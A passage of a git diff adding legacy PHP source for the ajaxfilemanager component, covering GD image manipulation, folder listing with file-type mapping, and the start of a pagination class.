+ if($v['restorable'] && empty($v['is_original']) && file_exists($this->session->getSessionDir() . $v['name'])) + { + return $sessionImages[$k]; + } + } + + } + return array(); + + } + /** + * get the original image which is kept in the session folder + * + * @return array + */ + function getOriginalImage() + { + $outputs = array(); + if(isset($_SESSION[$this->path]) && is_array($_SESSION[$this->path])) + { + $sessionImages = array_reverse($_SESSION[$this->path], true); + foreach($sessionImages as $k=>$v) + { + if(!empty($v['is_original'])) + { + if(file_exists($this->session->getSessionDir() . $v['name'])) + { + return array('info'=>$_SESSION[$this->path][$k], 'key'=>$k); + } + + } + } + } + return $outputs; + + } + /** + * remove the lastest restorable state + * + * @return boolean + */ + function restore() + { + if(isset($_SESSION[$this->path]) && is_array($_SESSION[$this->path]) && sizeof($_SESSION[$this->path])) + { + $sessionImages = array_reverse($_SESSION[$this->path], true); + $lastestKey = ''; + foreach($sessionImages as $k=>$v) + { + if($v['restorable'] && empty($v['is_original'])) + { + unset($_SESSION[$k]); + return true; + } + } + } + return false; + } + + + + } +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.image.php b/BO/ajaxfilemanager/inc/class.image.php new file mode 100755 index 0000000..dfbaf97 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.image.php @@ -0,0 +1,789 @@ +'', + 'ext'=>'', + 'size'=>'', + 'width'=>'', + 'height'=>'', + 'type'=>'', + 'path'=>'', + ); + var $_imgInfoFinal = array( + 'name'=>'', + 'ext'=>'', + 'size'=>'', + 'width'=>'', + 'height'=>'', + 'type'=>'', + 'path'=>'', + ); + var $_imgQuality = 90; + /** + * constructor + * + * @param boolean $debug + * @return Image + */ + + function __construct($debug = false) + { + $this->enableDebug($debug); + $this->gdInfo = $this->getGDInfo(); + } + function Image($debug = false) + { + $this->__construct($debug); + } + /** + * enable to debug + * + * @param boolean $value + */ + function enableDebug($value) + { + $this->_debug = ($value?true:false); + } + /** + * check if debug enable + * @return boolean + */ + function _isDebugEnable() + { + return $this->_debug; + } + + /** + * append to errors array and shown the each error when the debug turned on + * + * @param string $string + * @return void + * @access private + * @copyright this function originally come from Andy's php + */ + function _debug($value) + { + $this->_errors[] = $value; + if ($this->_debug) + { + echo $value . "
\n"; + } + } + /** + * show erros + * + */ + function showErrors() + { + if(sizeof($this->_errors)) + { + foreach($this->_errors as $error) + { + echo $error . "
\n"; + } + } + } + /** + * Load an image from the file system. + * + * @param string $filename + * @return bool + * @access public + * @copyright this function originally come from Andy's php + */ + function loadImage($filename) + { + $ext = strtolower($this->_getExtension($filename)); + $func = 'imagecreatefrom' . ($ext == 'jpg' ? 'jpeg' : $ext); + if (!$this->_isSupported($filename, $ext, $func, false)) { + return false; + } + if($ext == "gif") + { + // the following part gets the transparency color for a gif file + // this code is from the PHP manual and is written by + // fred at webblake dot net and webmaster at webnetwizard dotco dotuk, thanks! + $fp = @fopen($filename, "rb"); + $result = @fread($fp, 13); + $colorFlag = ord(substr($result,10,1)) >> 7; + $background = ord(substr($result,11)); + if ($colorFlag) { + $tableSizeNeeded = ($background + 1) * 3; + $result = @fread($fp, $tableSizeNeeded); + $this->transparentColorRed = ord(substr($result, $background * 3, 1)); + $this->transparentColorGreen = ord(substr($result, $background * 3 + 1, 1)); + $this->transparentColorBlue = ord(substr($result, $background * 3 + 2, 1)); + } + fclose($fp); + // -- here ends the code related to transparency handling + } + $this->_imgOrig = @$func($filename); + if ($this->_imgOrig == null) { + $this->_debug("The image could not be created from the '$filename' file using the '$func' function."); + return false; + }else + { + $this->imageFile = $filename; + $this->_imgInfoOrig = array( + 'name'=>basename($filename), + 'ext'=>$ext, + 'size'=>filesize($filename), + 'path'=>$filename, + ); + $imgInfo = $this->_getImageInfo($filename); + if(sizeof($imgInfo)) + { + foreach($imgInfo as $k=>$v) + { + $this->_imgInfoOrig[$k] = $v; + $this->_imgInfoFinal[$k] = $v; + } + } + + } + return true; + } + + /** + * Load an image from a string (eg. from a database table) + * + * @param string $string + * @return bool + * @access public + * @copyright this function originally come from Andy's php + */ + function loadImageFromString($string) + { + $this->imageFile = $filename; + $this->_imgOrig = imagecreatefromstring($string); + if (!$this->_imgOrig) { + $this->_debug('The image (supplied as a string) could not be created.'); + return false; + } + return true; + } + + + /** + * Save the modified image + * + * @param string $filename + * @param int $quality + * @param string $forcetype + * @return bool + * @access public + * @copyright this function originally come from Andy's php + */ + function saveImage($filename, $quality = 90, $forcetype = '') + { + if ($this->_imgFinal == null) { + $this->_debug('No changes intend to be made.'); + return false; + } + + $ext = ($forcetype == '') ? $this->_getExtension($filename) : strtolower($forcetype); + $func = 'image' . ($ext == 'jpg' ? 'jpeg' : $ext); + if (!$this->_isSupported($filename, $ext, $func, true)) + { + return false; + } + $saved = false; + switch($ext) + { + case 'gif': + if ($this->gdInfo['Truecolor Support'] && imageistruecolor($this->_imgFinal)) + { + imagetruecolortopalette($this->_imgFinal, false, 255); + } + case 'png': + $saved = $func($this->_imgFinal, $filename); + break; + case 'jpg': + $saved = $func($this->_imgFinal, $filename, $quality); + break; + } + + if ($saved === false) + { + $this->_debug("The image could not be saved to the '$filename' file as the file type '$ext' using the '$func' function."); + return false; + }else + { + $this->_imgInfoFinal['size'] = @filesize($filename); + @chmod($filename, intval($this->chmod, 8)); + } + + return true; + } + /** + * Shows the masked image without any saving + * + * @param string $type + * @param int $quality + * @return bool + * @access public + * @copyright this function originally come from Andy's php + */ + function showImage($type = '', $quality = '') + { + if ($this->_imgFinal == null) { + $this->_debug('There is no cropped image to show.'); + return false; + } + $type = (!empty($type)?$type:$this->_imgInfoOrig['ext']); + $quality = (!empty($quality)?$quality:$this->_imgQuality); + + $type = strtolower($type); + $func = 'image' . ($type == 'jpg' ? 'jpeg' : $type); + $head = 'image/' . ($type == 'jpg' ? 'jpeg' : $type); + + if (!$this->_isSupported('[showing file]', $type, $func, false)) { + return false; + } + + header("Content-type: $head"); + switch($type) + { + case 'gif': + if ($this->gdInfo['Truecolor Support'] && imageistruecolor($this->_imgFinal)) + { + @imagetruecolortopalette($this->_imgFinal, false, 255); + } + case 'png': + $func($this->_imgFinal); + break; + case 'jpg': + $func($this->_imgFinal, '', $quality); + break; + } + return true; + } + + /** + * Used for cropping image + * + * @param int $dst_x + * @param int $dst_y + * @param int $dst_w + * @param int $dst_h + * @return bool + * @access public + * @copyright this function originally come from Andy's php + */ + function crop($dst_x, $dst_y, $dst_w, $dst_h) + { + if ($this->_imgOrig == null) { + $this->_debug('The original image has not been loaded.'); + return false; + } + if (($dst_w <= 0) || ($dst_h <= 0)) { + $this->_debug('The image could not be cropped because the size given is not valid.'); + return false; + } + if (($dst_w > imagesx($this->_imgOrig)) || ($dst_h > imagesy($this->_imgOrig))) { + $this->_debug('The image could not be cropped because the size given is larger than the original image.'); + return false; + } + $this->_createFinalImageHandler($dst_w, $dst_h); + if ($this->gdInfo['Truecolor Support']) + { + if(!@imagecopyresampled($this->_imgFinal, $this->_imgOrig, 0, 0, $dst_x, $dst_y, $dst_w, $dst_h, $dst_w, $dst_h)) + { + $this->_debug('Unable crop the image.'); + return false; + } + } else + { + if(!@imagecopyresized($this->_imgFinal, $this->_imgOrig, 0, 0, $dst_x, $dst_y, $dst_w, $dst_h, $dst_w, $dst_h)) + { + $this->_debug('Unable crop the image.'); + return false; + } + + } + $this->_imgInfoFinal['width'] = $dst_w; + $this->_imgInfoFinal['height'] = $dst_h; + return true; + } + + + /** + * Resize the Image in the X and/or Y direction + * If either is 0 it will be scaled proportionally + * + * @access public + * + * @param mixed $new_x + * @param mixed $new_y + * @param boolean $constraint keep to resize the image proportionally + * @param boolean $unchangeIfsmaller keep the orignial size if the orignial smaller than the new size + * + * + * @return mixed none or PEAR_error + */ + function resize( $new_x, $new_y, $constraint= false, $unchangeIfsmaller=false) + { + if(!$this->_imgOrig) + { + $this->_debug('No image fould.'); + return false; + } + + $new_x = (int)($new_x); + $new_y = (int)($new_y); + if($new_x <=0 || $new_y <= 0) + { + $this->_debug('either of new width or height can be zeor or less.'); + }else + { + + if($constraint) + { + if($new_x < 1 && $new_y < 1) + { + $new_x = $this->_imgInfoOrig['width']; + $new_y = $this->_imgInfoOrig['height']; + }elseif($new_x < 1) + { + $new_x = floor($new_y / $this->_imgInfoOrig['height'] * $this->_imgInfoOrig['width']); + + }elseif($new_y < 1) + { + $new_y = floor($new_x / $this->_imgInfoOrig['width'] * $this->_imgInfoOrig['height']); + }else + { + $scale = min($new_x/$this->_imgInfoOrig['width'], $new_y/$this->_imgInfoOrig['height']) ; + $new_x = floor($scale*$this->_imgInfoOrig['width']); + $new_y = floor($scale*$this->_imgInfoOrig['height']); + } + } + if($unchangeIfsmaller) + { + if($this->_imgInfoOrig['width'] < $new_x && $this->_imgInfoOrig['height'] < $new_y ) + { + $new_x = $this->_imgInfoOrig['width']; + $new_y = $this->_imgInfoOrig['height']; + } + } + + + + if(is_null($this->_imgOrig)) + { + $this->loadImage($filePath); + } + if(sizeof($this->_errors) == 0) + { + return $this->_resize($new_x, $new_y); + } + } + + return false; + + } // End resize + /** + * resize the image and return the thumbnail image details array("width"=>, "height"=>, "name") + * + * @param string $fileName + * @param int $new_x the thumbnail width + * @param int $new_y the thumbnail height + * @param string $mode can be save, view and both + * @return unknown + */ + function _resize( $new_x, $new_y) + { + $this->_createFinalImageHandler($new_x, $new_y); + // hacks fot transparency of png24 files + if ($this->_imgInfoOrig['type'] == 'png') + { + @imagealphablending($this->_imgFinal, false); + if(function_exists('ImageCopyResampled')) + { + @ImageCopyResampled($this->_imgFinal, $this->_imgOrig, 0, 0, 0, 0, $new_x, $new_y, $this->_imgInfoOrig['width'], $this->_imgInfoOrig['height']); + } else { + @ImageCopyResized($this->_imgFinal, $this->_imgOrig, 0, 0, 0, 0, $new_x, $new_y, $this->_imgInfoOrig['width'], $this->_imgInfoOrig['height']); + } + @imagesavealpha($this->_imgFinal, true); + + }else + {//for the rest image + if(function_exists('ImageCopyResampled')) + { + @ImageCopyResampled($this->_imgFinal, $this->_imgOrig, 0, 0, 0, 0, $new_x, $new_y, $this->_imgInfoOrig['width'], $this->_imgInfoOrig['height']); + } else { + @ImageCopyResized($this->_imgFinal, $this->_imgOrig, 0, 0, 0, 0, $new_x, $new_y, $this->_imgInfoOrig['width'], $this->_imgInfoOrig['height']); + } + } + + + $this->_imgInfoFinal['width'] = $new_x; + $this->_imgInfoFinal['height'] = $new_y; + $this->_imgInfoFinal['name'] = basename($this->_imgInfoOrig['name']); + $this->_imgInfoFinal['path'] = $this->_imgInfoOrig['path']; + if($this->_imgFinal) + { + return true; + }else + { + $this->_debug('Unable to resize the image on the fly.'); + return false; + + } + + } + /** + * Get the extension of a file name + * + * @param string $file + * @return string + * @copyright this function originally come from Andy's php + */ + function _getExtension($file) + { + $ext = ''; + if (strrpos($file, '.')) { + $ext = strtolower(substr($file, (strrpos($file, '.') ? strrpos($file, '.') + 1 : strlen($file)), strlen($file))); + } + return $ext; + } + + /** + * Validate whether image reading/writing routines are valid. + * + * @param string $filename + * @param string $extension + * @param string $function + * @param bool $write + * @return bool + * @access private + * @copyright this function originally come from Andy's php + */ + function _isSupported($filename, $extension, $function, $write = false) + { + + $giftype = ($write) ? ' Create Support' : ' Read Support'; + $support = strtoupper($extension) . ($extension == 'gif' ? $giftype : ' Support'); + + if (!isset($this->gdInfo[$support]) || $this->gdInfo[$support] == false) { + $request = ($write) ? 'saving' : 'reading'; + $this->_debug("Support for $request the file type '$extension' cannot be found."); + return false; + } + if (!function_exists($function)) { + $request = ($write) ? 'save' : 'read'; + $this->_debug("The '$function' function required to $request the '$filename' file cannot be found."); + return false; + } + + return true; + } + /** + * flip image horizotally or vertically + * + * @param string $direction + * @return boolean + */ + function flip($direction="horizontal") + { + $this->_createFinalImageHandler($this->_imgInfoOrig['width'], $this->_imgInfoOrig['height']); + if($direction != "vertical") + { + $dst_x = 0; + $dst_y = 0; + $src_x = $this->_imgInfoOrig['width'] -1; + $src_y = 0; + $dst_w = $this->_imgInfoOrig['width']; + $dst_h = $this->_imgInfoOrig['height']; + $src_w = 0 - $this->_imgInfoOrig['width']; + $src_h = $this->_imgInfoOrig['height']; + + }else + { + $dst_x = 0; + $dst_y = 0; + $src_x = 0; + $src_y = $this->_imgInfoOrig['height'] - 1; + $dst_w = $this->_imgInfoOrig['width']; + $dst_h = $this->_imgInfoOrig['height']; + $src_w = $this->_imgInfoOrig['width']; + $src_h = 0 - $this->_imgInfoOrig['height']; + } + if(function_exists('ImageCopyResampled')){ + ImageCopyResampled($this->_imgFinal, $this->_imgOrig, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h); + } else { + ImageCopyResized($this->_imgFinal, $this->_imgOrig, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h); + } + $this->_imgInfoFinal['width'] = $dst_w; + $this->_imgInfoFinal['height'] = $dst_h; + $this->_imgInfoFinal['name'] = basename($this->imageFile); + $this->_imgInfoFinal['path'] = $this->imageFile; + if($this->_imgFinal) + { + return true; + }else + { + $this->_debug('Unable to resize the image on the fly.'); + return false; + + } + } + /** + * flip vertically + * + * @return boolean + */ + function flipVertical() + { + return $this->flip('vertical'); + } + /** + * flip horizontal + * + * @return string + */ + function flipHorizontal() + { + return $this->flip('horizontal'); + } + + + /** + * get the GD version information + * + * @param bool $versionOnly + * @return array + * @access private + * @copyright this function originally come from Andy's php + */ + function getGDInfo($versionOnly = false) + { + $outputs = array(); + if (function_exists('gd_info')) + { + $outputs = gd_info(); + } else + { + $gd = array( + 'GD Version' => '', + 'GIF Read Support' => false, + 'GIF Create Support' => false, + 'JPG Support' => false, + 'PNG Support' => false, + 'FreeType Support' => false, + 'FreeType Linkage' => '', + 'T1Lib Support' => false, + 'WBMP Support' => false, + 'XBM Support' => false + ); + ob_start(); + phpinfo(); + $buffer = ob_get_contents(); + ob_end_clean(); + foreach (explode("\n", $buffer) as $line) { + $line = array_map('trim', (explode('|', strip_tags(str_replace('', '|', $line))))); + if (isset($gd[$line[0]])) { + if (strtolower($line[1]) == 'enabled') { + $gd[$line[0]] = true; + } else { + $gd[$line[0]] = $line[1]; + } + } + } + $outputs = $gd; + } + + if (isset($outputs['JIS-mapped Japanese Font Support'])) { + unset($outputs['JIS-mapped Japanese Font Support']); + } + if (function_exists('imagecreatefromgd')) { + $outputs['GD Support'] = true; + } + if (function_exists('imagecreatefromgd2')) { + $outputs['GD2 Support'] = true; + } + if (preg_match('/^(bundled|2)/', $outputs['GD Version'])) { + $outputs['Truecolor Support'] = true; + } else { + $outputs['Truecolor Support'] = false; + } + if ($outputs['GD Version'] != '') { + $match = array(); + if (preg_match('/([0-9\.]+)/', $outputs['GD Version'], $match)) { + $foo = explode('.', $match[0]); + $outputs['Version'] = array('major' => isset($foo[0])?$foo[0]:'', 'minor' => isset($foo[1])?$foo[1]:'', 'patch' => isset($foo[2])?$foo:""); + } + } + + return ($versionOnly) ? $outputs['Version'] : $outputs; + } + + /** + * Destroy the resources used by the images. + * + * @param bool $original + * @return void + * @access public + * @copyright this function originally come from Andy's php + */ + function DestroyImages($original = true) + { + if(!is_null($this->_imgFinal)) + { + @imagedestroy($this->_imgFinal); + } + $this->_imgFinal = null; + if ($original && !is_null($this->_imgOrig)) { + @imagedestroy($this->_imgOrig); + $this->_imgOrig = null; + } + } + + function getImageInfo($imagePath) + { + return $this->_getImageInfo($imagePath); + } + /** + * get image information, e.g. width, height, type + * @access public + * @return array + */ + function _getImageInfo($imagePath) + { + $outputs = array(); + $imageInfo = @GetImageSize($imagePath); + if ($imageInfo && is_array($imageInfo)) + { + switch($imageInfo[2]){ + case 1: + $type = 'gif'; + break; + case 2: + $type = 'jpeg'; + break; + case 3: + $type = 'png'; + break; + case 4: + $type = 'swf'; + break; + case 5: + $type = 'psd'; + case 6: + $type = 'bmp'; + case 7: + case 8: + $type = 'tiff'; + default: + $type = ''; + } + $outputs['width'] = $imageInfo[0]; + $outputs['height'] = $imageInfo[1]; + $outputs['type'] = $type; + $outputs['ext'] = $this->_getExtension($imagePath); + } else { + $this->_debug('Unable locate the image or read images information.'); + } + return $outputs; + + } + function rotate($angle, $bgColor=0) + { + $angle = (int)($angle) -360; + while($angle <0) + { + $angle += 360; + } + + + if($this->_imgFinal = imagerotate($this->_imgOrig, $angle)) + { + return true; + }else + { + return false; + } + + + } + /** + * get the original image info + * + * @return array + */ + function getOriginalImageInfo() + { + return $this->_imgInfoOrig; + } + /** + * return the final image info + * + * @return array + */ + function getFinalImageInfo() + { + if($this->_imgInfoFinal['width'] == '') + { + if(is_null($this->_imgFinal)) + { + $this->_imgInfoFinal = $this->_imgInfoOrig; + }else + { + $this->_imgInfoFinal['width'] = @imagesx($this->_imgFinal); + $this->_imgInfoFinal['height'] = @imagesy($this->_imgFinal); + } + } + return $this->_imgInfoFinal; + } + + /** + * create final image handler + * + * @access private + * @param $dst_w width + * @param $dst_h height + * @return boolean + * @copyright original from noname at nivelzero dot ro + */ + function _createFinalImageHandler($dst_w, $dst_h) + { + if(function_exists('ImageCreateTrueColor')) + { + $this->_imgFinal = @ImageCreateTrueColor($dst_w,$dst_h); + } else { + $this->_imgFinal = @ImageCreate($dst_w,$dst_h); + } + if (!is_null($this->transparentColorRed) && !is_null($this->transparentColorGreen) && !is_null($this->transparentColorBlue)) { + + $transparent = @imagecolorallocate($targetImageIdentifier, $this->transparentColorRed, $this->transparentColorGreen, $this->transparentColorBlue); + @imagefilledrectangle($this->_imgFinal, 0, 0, $dst_w, $dst_h, $transparent); + @imagecolortransparent($this->_imgFinal, $transparent); + } + + } + } + +?> diff --git a/BO/ajaxfilemanager/inc/class.manager.php b/BO/ajaxfilemanager/inc/class.manager.php new file mode 100755 index 0000000..01e4d89 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.manager.php @@ -0,0 +1,373 @@ +'noFlag', 'cut'=>'cutFlag', 'copy'=>'copyFlag'); + var $forceFolderOnTop = false; //forced to have folder shown on the top of the list + var $currentFolderInfo = array( + 'name'=>'', + 'subdir'=>0, + 'file'=>0, + 'ctime'=>'', + 'mtime'=>'', + 'is_readable'=>'', + 'is_writable'=>'', + 'size'=>0, + 'path'=>'', + 'type'=>'folder', + 'flag'=>'noFlag', + 'friendly_path'=>'', + ); + + var $lastVisitedFolderPathIndex = 'ajax_last_visited_folder'; + var $folderPathIndex = "path"; + var $calculateSubdir = true; + var $fileTypes = array( + array(array("exe", "com"), "fileExe", SEARCH_TYPE_EXE, 0), + array(array("gif", "jpg", "png", "bmp", "tif"), "filePicture", SEARCH_TYPE_IMG, 1), + array(array("zip", "sit", "rar", "gz", "tar"), "fileZip", SEARCH_TYPE_ARCHIVE, 0), + array(array("htm", "html", "php", "jsp", "asp", 'js', 'css'), "fileCode", SEARCH_TYPE_HTML, 1), + array(array("mov", "ram", "rm", "asx", "dcr", "wmv"), "fileVideo", SEARCH_TYPE_VIDEO, 1), + array(array("mpg", "avi", "asf", "mpeg"), "fileVideo", SEARCH_TYPE_MOVIE, 1), + array(array("aif", "aiff", "wav", "mp3", "wma"), "fileMusic", SEARCH_TYPE_MUSIC, 1), + array(array("swf", 'flv'), "fileFlash", SEARCH_TYPE_FLASH, 1), + array(array("ppt"), "filePPT", SEARCH_TYPE_PPT, 0), + array(array("rtf"), "fileRTF", SEARCH_TYPE_DOC, 0), + array(array("doc"), "fileWord", SEARCH_TYPE_WORD, 0), + array(array("pdf"), "fileAcrobat", SEARCH_TYPE_PDF, 0), + array(array("xls", "csv"), "fileExcel", SEARCH_TYPE_EXCEL, 0), + array(array("txt"), "fileText", SEARCH_TYPE_TEXT, 1), + array(array("xml", "xsl", "dtd"), "fileXml", SEARCH_TYPE_XML, 1) + ); + + /** + * constructor + * @path the path to a folder + * @calculateSubdir force to get the subdirectories information + */ + function __construct($path = null, $calculateSubdir=true) + { + + $this->calculateSubdir = $calculateSubdir; + if(defined('CONFIG_SYS_FOLDER_SHOWN_ON_TOP')) + { + $this->forceFolderOnTop = CONFIG_SYS_FOLDER_SHOWN_ON_TOP; + } + if(!is_null($path)) + { + $this->currentFolderPath = $path; + + }elseif(isset($_GET[$this->folderPathIndex]) && file_exists($_GET[$this->folderPathIndex]) && !is_file($_GET[$this->folderPathIndex]) ) + { + $this->currentFolderPath = $_GET[$this->folderPathIndex]; + } + elseif(isset($_SESSION[$this->lastVisitedFolderPathIndex]) && file_exists($_SESSION[$this->lastVisitedFolderPathIndex]) && !is_file($_SESSION[$this->lastVisitedFolderPathIndex])) + { + $this->currentFolderPath = $_SESSION[$this->lastVisitedFolderPathIndex]; + }else + { + $this->currentFolderPath = CONFIG_SYS_DEFAULT_PATH; + } + + $this->currentFolderPath = (isUnderRoot($this->currentFolderPath)?backslashToSlash((addTrailingSlash($this->currentFolderPath))):CONFIG_SYS_DEFAULT_PATH); + + if($this->calculateSubdir) + {// keep track of this folder path in session + $_SESSION[$this->lastVisitedFolderPathIndex] = $this->currentFolderPath; + } + if(is_dir($this->currentFolderPath)) + { + $file = new file($this->currentFolderPath); + $folderInfo = $file->getFileInfo(); + if(sizeof($folderInfo)) + { + $this->currentFolderInfo['name']=basename($this->currentFolderPath); + $this->currentFolderInfo['subdir']=0; + $this->currentFolderInfo['file']=0; + $this->currentFolderInfo['ctime']=$folderInfo['ctime']; + $this->currentFolderInfo['mtime']=$folderInfo['mtime']; + $this->currentFolderInfo['is_readable']=$folderInfo['is_readable']; + $this->currentFolderInfo['is_writable']=$folderInfo['is_writable']; + $this->currentFolderInfo['path'] = $this->currentFolderPath; + $this->currentFolderInfo['friendly_path'] = transformFilePath($this->currentFolderPath); + $this->currentFolderInfo['type'] = "folder"; + $this->currentFolderInfo['cssClass']='folder'; + + //$this->currentFolderInfo['flag'] = $folderInfo['flag']; + } + } + if($calculateSubdir && !file_exists($this->currentFolderPath)) + { + die(ERR_FOLDER_NOT_FOUND . $this->currentFolderPath); + } + + + + } + + function setSessionAction(&$session) + { + $this->sessionAction = $session; + } + /** + * constructor + */ + function manager($path = null, $calculateSubdir=true) + { + $this->__construct($path, $calculateSubdir); + } + /** + * get current folder path + * @return string + */ + function getCurrentFolderPath() + { + return $this->currentFolderPath; + } + /** + * get the list of files and folders under this current fold + * @return array + */ + function getFileList() + { + $outputs = array(); + $files = array(); + $folders = array(); + $tem = array(); + $dirHandler = @opendir($this->currentFolderPath); + if($dirHandler) + { + while(false !== ($file = readdir($dirHandler))) + { + if($file != '.' && $file != '..') + { + $flag = $this->flags['no']; + + if($this->sessionAction->getFolder() == $this->currentFolderPath) + {//check if any flag associated with this folder or file + $folder = addTrailingSlash(backslashToSlash($this->currentFolderPath)); + if(in_array($folder . $file, $this->sessionAction->get())) + { + if($this->sessionAction->getAction() == "copy") + { + $flag = $this->flags['copy']; + }else + { + $flag = $this->flags['cut']; + } + } + } + $path=$this->currentFolderPath.$file; + if(is_dir($path) && isListingDocument($path) ) + { + $this->currentFolderInfo['subdir']++; + if(!$this->calculateSubdir) + { + }else + { + + $folder = $this->getFolderInfo($path); + $folder['flag'] = $flag; + $folders[$file] = $folder; + $outputs[$file] = $folders[$file]; + } + + + }elseif(is_file($path) && isListingDocument($path)) + { + + $obj = new file($path); + $tem = $obj->getFileInfo(); + if(sizeof($tem)) + { + $fileType = $this->getFileType($file); + foreach($fileType as $k=>$v) + { + $tem[$k] = $v; + } + $this->currentFolderInfo['size'] += $tem['size']; + $this->currentFolderInfo['file']++; + $tem['path'] = backslashToSlash($path); + $tem['type'] = "file"; + $tem['flag'] = $flag; + $files[$file] = $tem; + $outputs[$file] = $tem; + $tem = array(); + $obj->close(); + + } + + + } + + } + } + if($this->forceFolderOnTop) + { + uksort($folders, "strnatcasecmp"); + uksort($files, "strnatcasecmp"); + $outputs = array(); + foreach($folders as $v) + { + $outputs[] = $v; + } + foreach ($files as $v) + { + $outputs[] = $v; + } + }else + { + uksort($outputs, "strnatcasecmp"); + } + + @closedir($dirHandler); + }else + { + trigger_error('Unable to locate the folder ' . $this->currentFolderPath, E_NOTICE); + } + return $outputs; + } + + + /** + * get current or the specified dir information + * + * @param string $path + * @return array + */ + function getFolderInfo($path=null) + { + if(is_null($path)) + { + return $this->currentFolderInfo; + }else + { + $obj = new manager($path, false); + $obj->setSessionAction($this->sessionAction); + $obj->getFileList(); + return $obj->getFolderInfo(); + } + + } + + /** + * return the file type of a file. + * + * @param string file name + * @return array + */ + function getFileType($fileName, $checkIfDir = false) + { + + $ext = strtolower($this->_getExtension($fileName, $checkIfDir)); + + foreach ($this->fileTypes as $fileType) + { + if(in_array($ext, $fileType[0])) + { + return array("cssClass" => $fileType[1], "fileType" => $fileType[2], "preview" => $fileType[3], 'test'=>5); + } + } + if(!empty($fileName)) + {//this is folder + if(empty($ext)) + { + if(is_dir($fileName)) + { + + return array("cssClass" => ($checkIfDir && $this->isDirEmpty($fileName)?'folderEmpty':"folder") , "fileType" => "Folder", "preview" => 0, 'test'=>1); + }else + { + return array("cssClass" => "fileUnknown", "fileType" => SEARCH_TYPE_UNKNOWN, "preview" => 0, 'test'=>2); + } + }else + { + return array("cssClass" => "fileUnknown", "fileType" => SEARCH_TYPE_UNKNOWN, "preview" => 0, 'test'=>3, 'ext'=>$ext , 'filename'=>$fileName); + } + + }else + {//this is unknown file + return array("cssClass" => "fileUnknown", "fileType" => SEARCH_TYPE_UNKNOWN, "preview" => 0, 'test'=>4); + } + + + } + + /** + * return the predefined file types + * + * @return arrray + */ + function getFileTypes() + { + return $this->fileTypes; + } + /** + * print out the file types + * + */ + function printFileTypes() + { + foreach($fileTypes as $fileType) + { + if(isset($fileType[0]) && is_array($fileType[0])) + { + foreach($fileType[0] as $type) + { + echo $type. ","; + } + } + } + } + + /** + * Get the extension of a file name + * + * @param string $file + * @return string + * @copyright this function originally come from Andy's php + */ + function _getExtension($file, $checkIfDir = false) + { + if($checkIfDir && file_exists($file) && is_dir($file)) + { + return ''; + }else + { + return @substr(@strrchr($file, "."), 1); + } + + + } + + function isDirEmpty($path) + { + $dirHandler = @opendir($path); + if($dirHandler) + { + while(false !== ($file = readdir($dirHandler))) + { + if($file != '.' && $file != '..') + { + @closedir($dirHandler); + return false; + + } + } + + @closedir($dirHandler); + + } + return true; + } +} +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.pagination.php b/BO/ajaxfilemanager/inc/class.pagination.php new file mode 100755 index 0000000..38752d3 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.pagination.php @@ -0,0 +1,584 @@ +friendlyUrl = $friendlyUrl; + $this->__resetCurrentPage(); + } + + /** + * set maximum number of items per page + * + * @param integer $value maximum number of items per page + */ + function setLimit($value) + { + $this->itemsPerPage = (int)($value); + } + /** + * get maximum number of items per page + * + * @return integer + */ + function getLimit() + { + return $this->itemsPerPage; + } + + /** + * set the total number of items + * + * @param integer $value the total number of items + */ + function setTotal($value) + { + $this->totalItems = (int)($value); + } + /** + * get the total number of items + * + * @return integer total number of items + */ + function getTotal() + { + return $this->totalItems; + } + /** + * get total pages will be used to display all records + * + */ + function getTotalPages() + { + + $output = floor(($this->totalItems / $this->itemsPerPage )); + if($this->totalItems % $this->itemsPerPage) + { + $output++; + } + return $output; + } + + /** + * Set the index of URL Query String + * + * @param string $value e.g. page + */ + function setPageIndex($value) + { + $this->pageIndex = $value; + $this->__resetCurrentPage(); + } + + + function getPageIndex() + { + return $this->pageIndex; + } + /** + * initiate or reset the current page number + * + */ + function __resetCurrentPage() + { + $this->currentPage = ((isset($_GET[$this->pageIndex]) && (int)($_GET[$this->pageIndex]) > 0)?(int)($_GET[$this->pageIndex]):1); + } + + /** + * set the base url used in the links, default is $PHP_SELF + * + * @param string $value the base url + */ + function setUrl($value="") + { + if(empty($value)) + { + if($this->friendlyUrl) + { + $this->url = "http://" . $_SERVER['HTTP_HOST'] . "/"; + }else + { + $this->url = $_SERVER['PHP_SELF']; + } + }else + { + $this->url = $value; + } + + } + + /** + * get the base url variable + * + * @return string the base url + */ + function getUrl() + { + + if(empty($this->url)) + { + $this->setUrl(); + + } + return $this->url; + } + + /** + * set base url for pagination links after exculed those keys + * identified on excluded query strings + */ + function __setBaseUrl() + { + + if(empty($this->url)) + { + $this->getUrl(); + } + + if($this->friendlyUrl) + { + $this->baseUrl = $this->getUrl(); + }else + { + + $appendingQueryStrings = array(); + $this->excludedQueryStrings[$this->pageIndex] =$this->pageIndex; + foreach($_GET as $k=>$v) + { + if((array_search($k, $this->excludedQueryStrings) === false )) + { + $appendingQueryStrings[$k] = $k . "=" . $v; + } + } + if(sizeof($appendingQueryStrings)) + { + $this->baseUrl = $this->__appendQueryString($this->url, implode("&", $appendingQueryStrings)); + }else + { + $this->baseUrl = $this->getUrl(); + } + + } + + + } + /** + * get base url for pagination links aftr excluded those key + * identified on excluded query strings + * + */ + function __getBaseUrl() + { + + if(empty($this->baseUrl)) + { + + $this->__setBaseUrl(); + } + return $this->baseUrl; + } + + + /** + * get the first item number + * + * @return interger the first item number displayed within current page + */ + function getFirstItem() + { + $output = 0; + $temStartItemNumber = (($this->currentPage - 1) * $this->itemsPerPage + 1); + if($this->totalItems && $temStartItemNumber <= $this->totalItems ) + { + + $output = $temStartItemNumber; + } + return $output; + } + /** + * get the last item number displayed within current page + * + * @return interger the last item number + */ + function getLastItem() + { + $output = 0; + $temEndItemNumber = (($this->currentPage) * $this->itemsPerPage); + if($this->totalItems) + { + if($temEndItemNumber <= $this->totalItems) + { + $output = $temEndItemNumber; + }else + { + $output = $this->totalItems; + } + + } + return $output; + } + /** + * set page groupings limit + * used for previous 1 2 3 4 5 next + * + * @param unknown_type $value + */ + function setGroupLimit($value) + { + $this->groupLimit = (int)($value); + } + /** + * get page grouping limit + * + * @return integer the page grouping limit + */ + function getGroupLimit() + { + return 